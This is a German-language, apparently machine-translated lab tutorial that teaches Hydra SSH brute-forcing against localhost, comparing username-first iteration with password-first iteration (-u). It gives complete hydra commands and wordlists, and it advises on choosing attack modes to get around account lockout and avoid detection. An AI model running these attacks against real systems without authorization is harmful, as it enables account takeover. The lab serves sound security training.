Passwort-Schleifen in Hydra-Angriffen

HydraHydraBeginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Labor lernen Sie, wie Hydra während eines SSH-Angriffs Benutzernamen und Passwörter durchläuft. Sie erstellen Listen mit Benutzernamen und Passwörtern und führen dann einen Standard-SSH-Angriff aus, um Hydras Standardverhalten zu beobachten.

Zuerst bereiten Sie die Dateien usernames.txt und passwords.txt vor, die jeweils Listen mit Benutzernamen bzw. Passwörtern enthalten. Anschließend führen Sie einen einfachen Hydra SSH-Angriff mit diesen Listen aus, um zu demonstrieren, wie Hydra verschiedene Kombinationen ausprobiert. Schließlich untersuchen Sie die Auswirkungen der Option -u auf die Reihenfolge, in der Hydra Benutzernamen- und Passwortkombinationen ausprobiert.

Benutzernamen- und Passwortlisten vorbereiten

In diesem Schritt erstellen Sie zwei wichtige Dateien: eine Benutzernamenliste und eine Passwortliste. Diese Listen werden von Hydra verwendet, um SSH-Anmeldungen zu versuchen. Durch die Erstellung dieser Listen können Sie systematisch verschiedene Benutzernamen- und Passwortkombinationen gegen Ihr Ziel testen.

Öffnen Sie zunächst Ihr Terminal. Sie befinden sich derzeit im Verzeichnis /home/labex/project (auch zugänglich als ~/project). Sie werden die Dateien in diesem Verzeichnis erstellen.

Verwenden Sie den Texteditor nano, um eine Datei namens usernames.txt zu erstellen:

nano ~/project/usernames.txt

Fügen Sie nun die folgenden Benutzernamen in die Datei ein. Dies sind Beispiele; Sie können sie nach Bedarf anpassen.

root
admin
test
user
ubuntu

Speichern Sie die Datei, indem Sie Strg + O drücken, dann Enter zum Bestätigen des Dateinamens drücken und schließlich Strg + X drücken, um nano zu verlassen.

Als Nächstes erstellen Sie die Passwortliste. Verwenden Sie erneut nano, um eine Datei namens passwords.txt zu erstellen:

nano ~/project/passwords.txt

Fügen Sie die folgenden Passwörter in die Datei ein. Denken Sie daran, dass dies nur Beispiele sind.

password
123456
qwerty
secret
ubuntu

Speichern Sie die Datei, indem Sie Strg + O drücken, dann Enter zum Bestätigen des Dateinamens drücken und schließlich Strg + X drücken, um nano zu verlassen.

Um zu überprüfen, ob die Dateien korrekt erstellt wurden, können Sie den Befehl cat verwenden, um deren Inhalt anzuzeigen.

Zeigen Sie den Inhalt von usernames.txt an:

cat ~/project/usernames.txt

Sie sollten eine Ausgabe ähnlich dieser sehen:

root
admin
test
user
ubuntu

Genauso zeigen Sie den Inhalt von passwords.txt an:

cat ~/project/passwords.txt

Sie sollten eine Ausgabe ähnlich dieser sehen:

password
123456
qwerty
secret
ubuntu

Diese Dateien, usernames.txt und passwords.txt, sind nun bereit, im nächsten Schritt mit Hydra verwendet zu werden.

Standard-SSH-Angriff ausführen

In diesem Schritt führen Sie einen einfachen SSH-Angriff mit Hydra mithilfe der Benutzernamen- und Passwortlisten aus, die Sie im vorherigen Schritt erstellt haben. Dies demonstriert Hydras Standardverhalten, bei dem Benutzernamen und Passwörter nacheinander durchlaufen werden.

Die grundlegende Syntax des Hydra-Befehls lautet:

hydra [options] <target> <service> [additional options]
  • hydra: Der Befehl zum Aufrufen des Hydra-Tools.
  • [options]: Verschiedene Optionen zur Anpassung des Angriffs, z. B. die Angabe von Benutzernamen- und Passwortlisten.
  • <target>: Die IP-Adresse oder der Hostname des Ziel-SSH-Servers. In diesem Labor verwenden Sie 127.0.0.1 (localhost) als Ziel.
  • <service>: Der zu angreifende Dienst (z. B. ssh, ftp, http). In diesem Fall ist es ssh.
  • [additional options]: Dienst-spezifische Optionen.

Führen Sie nun den Standard-SSH-Angriff aus. Sie verwenden die Option -L, um die Benutzernamenliste anzugeben, die Option -P, um die Passwortliste anzugeben, und die Option -V, um eine ausführliche Ausgabe zu erhalten, die jeden Versuch anzeigt.

hydra -V -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh

Dieser Befehl weist Hydra an:

  • -V: Aktiviert den ausführlichen Modus, um jeden Anmeldeversuch anzuzeigen.
  • -L ~/project/usernames.txt: Verwendet die Datei usernames.txt im Verzeichnis ~/project als Liste der Benutzernamen.
  • -P ~/project/passwords.txt: Verwendet die Datei passwords.txt im Verzeichnis ~/project als Liste der Passwörter.
  • 127.0.0.1: Zielt auf den auf localhost laufenden SSH-Dienst ab.
  • ssh: Gibt an, dass Sie den SSH-Dienst angreifen.

Führen Sie den Befehl in Ihrem Terminal aus. Hydra versucht nun, sich mit jedem Benutzernamen in usernames.txt und jedem Passwort in passwords.txt beim SSH-Dienst auf 127.0.0.1 anzumelden. Standardmäßig durchläuft Hydra zuerst die Benutzernamen und testet jedes Passwort für einen einzelnen Benutzernamen, bevor es zum nächsten Benutzernamen übergeht.

Die Ausgabe zeigt die durchgeführten Versuche an. Sie erhalten detaillierte Informationen zu jedem Anmeldeversuch. Da Sie schwache Passwörter verwenden und localhost als Ziel haben, ist es möglich, dass eine Anmeldung erfolgreich ist, aber die meisten Versuche werden fehlschlagen.

Die Ausgabe wird ähnlich wie folgt aussehen (die genaue Ausgabe kann variieren):

Hydra vX.X (c) XXXX by van Hauser/THC & David Maciejak - Bitte verwenden Sie dieses Tool nicht in militärischen oder Geheimdienstorganisationen oder für illegale Zwecke (dies ist nicht bindend, diese *** ignorieren Gesetze und Ethik sowieso).

Hydra (https://github.com/vanhauser-thc/thc-hydra) gestartet am YYYY-MM-DD HH:MM:SS
[DATA] max X Aufgaben pro X Server, insgesamt X Aufgaben, X Anmeldeversuche (b:X/p:X), ~X Versuche pro Aufgabe
[DATA] Angriff auf ssh://127.0.0.1:22/
[VERBOSE] Adressen auflösen ... [VERBOSE] Auflösung abgeschlossen
[VERSUCH] Ziel 127.0.0.1 - Anmeldung "root" - Passwort "password" - X von X [Kind X] (X/X)
[VERSUCH] Ziel 127.0.0.1 - Anmeldung "root" - Passwort "123456" - X von X [Kind X] (X/X)
[VERSUCH] Ziel 127.0.0.1 - Anmeldung "root" - Passwort "qwerty" - X von X [Kind X] (X/X)
[VERSUCH] Ziel 127.0.0.1 - Anmeldung "root" - Passwort "secret" - X von X [Kind X] (X/X)
[VERSUCH] Ziel 127.0.0.1 - Anmeldung "root" - Passwort "ubuntu" - X von X [Kind X] (X/X)
[VERSUCH] Ziel 127.0.0.1 - Anmeldung "admin" - Passwort "password" - X von X [Kind X] (X/X)
...

Beachten Sie, wie Hydra zuerst alle Passwörter für den Benutzer "root" ausprobiert, dann zu "admin" usw. wechselt. Dies ist das Standardverhalten.

Ausführen mit -u, um Passwörter zuerst zu durchlaufen

In diesem Schritt verwenden Sie die Option -u mit Hydra, um die Reihenfolge der Anmeldeversuche zu ändern. Standardmäßig durchläuft Hydra zuerst die Benutzernamen und versucht alle Passwörter für jeden Benutzernamen, bevor es zum nächsten übergeht. Die Option -u kehrt dieses Verhalten um und lässt Hydra zuerst die Passwörter durchlaufen. Dabei wird jedes Passwort für alle Benutzernamen ausprobiert, bevor zum nächsten Passwort übergegangen wird.

Dies kann nützlich sein, wenn Sie vermuten, dass ein häufig verwendetes Passwort für mehrere Konten verwendet wird.

Um die Option -u zu verwenden, fügen Sie sie einfach Ihrem vorherigen Hydra-Befehl hinzu. Sie verwenden auch wieder die Option -V, um die detaillierten Versuche anzuzeigen.

hydra -u -V -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh

Dieser Befehl weist Hydra an:

  • -u: Passwörter zuerst durchlaufen.
  • -V: Aktiviert den ausführlichen Modus, um jeden Anmeldeversuch anzuzeigen.
  • -L ~/project/usernames.txt: Verwendet die Datei usernames.txt im Verzeichnis ~/project als Liste der Benutzernamen.
  • -P ~/project/passwords.txt: Verwendet die Datei passwords.txt im Verzeichnis ~/project als Liste der Passwörter.
  • 127.0.0.1: Zielt auf den auf localhost laufenden SSH-Dienst ab.
  • ssh: Gibt an, dass Sie den SSH-Dienst angreifen.

Führen Sie den Befehl in Ihrem Terminal aus. Hydra versucht nun, sich beim SSH-Dienst auf 127.0.0.1 anzumelden. Diesmal wird es das erste Passwort in passwords.txt gegen jeden Benutzernamen in usernames.txt ausprobieren, bevor es zum nächsten Passwort übergeht.

Beobachten Sie die Ausgabe. Sie sollten feststellen, dass die Reihenfolge der Versuche anders ist als im vorherigen Schritt. Hydra versucht nun dasselbe Passwort nacheinander gegen mehrere Benutzernamen.

Die Ausgabe wird ähnlich wie folgt aussehen (die genaue Ausgabe kann variieren):

Hydra vX.X (c) 2021 by van Hauser/THC & David Maciejak - Bitte verwenden Sie dieses Tool nicht in militärischen oder Geheimdienstorganisationen oder für illegale Zwecke (dies ist nicht bindend, diese *** ignorieren Gesetze und Ethik sowieso).

Hydra (https://github.com/vanhauser-thc/thc-hydra) gestartet am YYYY-MM-DD HH:MM:SS
[DATA] max X Aufgaben pro X Server, insgesamt X Aufgaben, X Anmeldeversuche (b:X/p:X), ~X Versuche pro Aufgabe
[DATA] Angriff auf ssh://127.0.0.1:22/
[VERBOSE] Adressen auflösen ... [VERBOSE] Auflösung abgeschlossen
[VERSUCH] Ziel 127.0.0.1 - Anmeldung "root" - Passwort "password" - X von X [Kind X] (X/X)
[VERSUCH] Ziel 127.0.0.1 - Anmeldung "admin" - Passwort "password" - X von X [Kind X] (X/X)
[VERSUCH] Ziel 127.0.0.1 - Anmeldung "test" - Passwort "password" - X von X [Kind X] (X/X)
[VERSUCH] Ziel 127.0.0.1 - Anmeldung "user" - Passwort "password" - X von X [Kind X] (X/X)
[VERSUCH] Ziel 127.0.0.1 - Anmeldung "ubuntu" - Passwort "password" - X von X [Kind X] (X/X)
[VERSUCH] Ziel 127.0.0.1 - Anmeldung "root" - Passwort "123456" - X von X [Kind X] (X/X)
[VERSUCH] Ziel 127.0.0.1 - Anmeldung "admin" - Passwort "123456" - X von X [Kind X] (X/X)
...

Beachten Sie, wie Hydra nun zuerst das Passwort "password" gegen alle Benutzernamen ausprobiert, dann "123456" für alle Benutzernamen usw. Dies ist das Verhalten bei Verwendung der Option -u.

Durch den Vergleich der Ausgabe dieses Befehls mit der Ausgabe des Befehls im vorherigen Schritt können Sie den Unterschied in der Reihenfolge der Anmeldeversuche deutlich erkennen. Dies kann hilfreich sein, um zu verstehen, wie Hydra funktioniert und die effektivste Angriffsstrategie für eine bestimmte Situation zu wählen.

Angriffsmuster und Leistung analysieren

In diesem Schritt analysieren Sie die praktischen Unterschiede zwischen den beiden Angriffsmethoden und verstehen, wann welcher Ansatz effektiver sein könnte. Sie werden auch untersuchen, wie Hydra-Angriffe basierend auf verschiedenen Szenarien optimiert werden können.

Verständnis des strategischen Unterschieds

Die Wahl zwischen dem Standardmodus und dem -u-Modus kann die Angriffs 効率 erheblich beeinflussen:

  • Standardmodus (Benutzername zuerst): Besser, wenn Sie vermuten, dass bestimmte Benutzer schwache Passwörter haben.
  • Passwort-zuerst-Modus (-u): Besser, wenn Sie vermuten, dass gemeinsame Passwörter für mehrere Konten verwendet werden.

Demonstrieren wir dies mit einem gezielteren Ansatz. Erstellen Sie zunächst einen kleineren, fokussierteren Test, um den Unterschied deutlich zu sehen:

echo -e "admin\ntest" > ~/project/small_users.txt
echo -e "password\n123456" > ~/project/small_passwords.txt

Führen Sie nun beide Angriffe mit eingeschränkter Ausgabe aus, um das Muster deutlich zu sehen:

Standardangriff (Benutzername zuerst):

hydra -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh

Die Option -t 1 begrenzt Hydra auf die Verwendung von nur einer Aufgabe gleichzeitig, wodurch die Abfolge leichter zu verfolgen ist.

Passwort-zuerst-Angriff:

hydra -u -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh

Leistungsanalyse

Analysieren wir nun die Zeit und Effizienz. Erstellen Sie einen einfachen Timing-Test:

echo "Testing default mode timing..."
time hydra -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh > /dev/null 2>&1
echo "Testing -u mode timing..."
time hydra -u -L ~/project/usernames.txt -P ~/project/passwords.txt 127.0.0.1 ssh > /dev/null 2>&1

Szenarien der realen Anwendung

Verständnis, wann welcher Modus verwendet werden sollte:

  1. Verwenden Sie den Standardmodus, wenn:

    • Sie Informationen über bestimmte, hochrangige Konten haben.
    • Sie schnell testen möchten, ob Administratorkonten schwache Passwörter haben.
    • Sie eine kleine Anzahl privilegierter Benutzer angreifen.
  2. Verwenden Sie den -u-Modus, wenn:

    • Sie den Verdacht haben, dass Passwörter für mehrere Konten wiederverwendet werden.
    • Sie eine Liste mit häufigen Passwörtern aus früheren Sicherheitsverletzungen haben.
    • Sie alle Konten mit einem häufig verwendeten schwachen Passwort finden möchten.

Angriffsmuster verifizieren

Um den Unterschied in den Angriffsmustern deutlich zu sehen, erstellen wir eine einfache Demonstration:

echo "=== Standardmodus-Muster ==="
hydra -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh 2>&1 | grep "ATTEMPT" | head -4
echo "=== Passwort-zuerst-Modus-Muster ==="
hydra -u -V -t 1 -L ~/project/small_users.txt -P ~/project/small_passwords.txt 127.0.0.1 ssh 2>&1 | grep "ATTEMPT" | head -4

Dies zeigt deutlich:

  • Standardmodus: admin/password, admin/123456, test/password, test/123456
  • Passwort-zuerst-Modus: admin/password, test/password, admin/123456, test/123456

Der Unterschied wird entscheidend, wenn es um Konten-Sperrrichtlinien geht oder wenn versucht wird, die Erkennung zu vermeiden, indem die Versuche auf mehrere Konten verteilt werden.

Zusammenfassung

In diesem Labor haben Sie gelernt, wie Sie die notwendigen Dateien für einen Hydra SSH-Angriff vorbereiten, indem Sie Benutzernamen- und Passwortlisten im Verzeichnis ~/project erstellen. Sie haben SSH-Angriffe mit Hydra und ausführlicher Ausgabe ausgeführt, um die detaillierten Angriffsversuche zu beobachten und das Iterationsverhalten von Hydra zu verstehen.

Sie haben den entscheidenden Unterschied zwischen dem Standardmodus von Hydra (Benutzername-zuerst-Iteration) und der Option -u (Passwort-zuerst-Iteration) untersucht. Durch praktische Übungen haben Sie festgestellt:

  • Standardmodus: Testet alle Passwörter für jeden Benutzernamen, bevor zum nächsten Benutzernamen übergegangen wird – ideal für die gezielte Angriffe auf besonders wertvolle Konten.
  • Passwort-zuerst-Modus (-u): Testet jedes Passwort gegen alle Benutzernamen, bevor zum nächsten Passwort übergegangen wird – besser geeignet, um Konten mit häufig verwendeten, schwachen Passwörtern zu finden.

Sie haben auch praktische Überlegungen zum Wählen zwischen diesen Modi gelernt, einschließlich der Auswirkungen auf die Leistung und realer Szenarien, in denen jeder Ansatz am effektivsten ist. Dieses Verständnis ermöglicht es Ihnen, Ihre Penetrationstests basierend auf der spezifischen Zielumgebung und den Zielen zu optimieren.

Das Labor hat gezeigt, wie unterschiedliche Angriffsmuster entscheidend sein können, wenn es um Konten-Sperrrichtlinien geht oder wenn versucht wird, die Erkennung zu vermeiden, indem Anmeldeversuche auf mehrere Konten verteilt werden.